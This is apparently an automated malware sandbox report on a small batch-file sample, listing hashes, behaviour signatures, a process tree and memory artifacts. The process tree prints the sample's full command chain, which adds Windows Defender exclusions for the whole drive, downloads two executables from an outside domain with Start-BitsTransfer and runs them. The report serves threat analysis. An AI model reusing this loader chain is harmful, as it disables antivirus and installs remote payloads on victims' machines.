ee70196738aa34081e9e199b9690bd91d8c275300ad8fe896ef4db393da390ee

Analysis

max time kernel
68s
max time network
89s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
17/04/2023, 00:53

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General

Target

bat.bat
Size

783B
MD5

e5a7e30c9537fae270681fbd0932239c
SHA1

ab0fd3323a32887647988c6e8e88554b5d7294f3
SHA256

a18071dc213c678538c1c7a1b3d5a7b562853bea75283bac89682479deaf1477
SHA512

f5abaf3c057a76f62c5b5722400301cad499cd83a5cbe018439f381afc27c8ab05e45ad22b093176e8506ea66c2d36d5fe25e41a784a52b14e37f39e54bc7241

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4532	powershell.exe
4532	powershell.exe
684	powershell.exe
684	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	684	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4780 wrote to memory of 4532	4780	cmd.exe	85
PID 4780 wrote to memory of 4532	4780	cmd.exe	85
PID 4532 wrote to memory of 1464	4532	powershell.exe	86
PID 4532 wrote to memory of 1464	4532	powershell.exe	86
PID 1464 wrote to memory of 684	1464	cmd.exe	88
PID 1464 wrote to memory of 684	1464	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bat.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep remotesigned -Command "IEX $([System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\bat.bat'))"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4532
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /k powershell -command add-mppreference -exclusionpath C:\ && powershell -command add-mppreference -exclusionprocess C:\ && powershell Start-BitsTransfer -Source https://gubukbali.com/tmp/sync.exe -Destination %USERPROFILE%\AppData\sync.exe && powershell Start-Process -FilePath %USERPROFILE%\AppData\sync.exe && powershell Start-BitsTransfer -Source https://gubukbali.com/tmp/qz.exe -Destination %USERPROFILE%\AppData\qz.exe && powershell Start-Process -FilePath %USERPROFILE%\AppData\qz.exe /priv
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command add-mppreference -exclusionpath C:\
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:684

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb4d127b8a6f84a1cee423c5e3e3a51d

SHA1
c55263a8ff097067f2393ce2120801a445fd1949

SHA256
d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

SHA512
45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hac5z3xf.isl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/684-157-0x0000012ED9F60000-0x0000012ED9F70000-memory.dmp

Filesize
64KB

Download
memory/684-158-0x0000012ED9F60000-0x0000012ED9F70000-memory.dmp

Filesize
64KB

Download
memory/684-159-0x0000012ED9F60000-0x0000012ED9F70000-memory.dmp

Filesize
64KB

Download
memory/4532-133-0x00000217F4250000-0x00000217F4272000-memory.dmp

Filesize
136KB

Download
memory/4532-139-0x00000217F21A0000-0x00000217F21B0000-memory.dmp

Filesize
64KB

Download
memory/4532-144-0x00000217F21A0000-0x00000217F21B0000-memory.dmp

Filesize
64KB

Download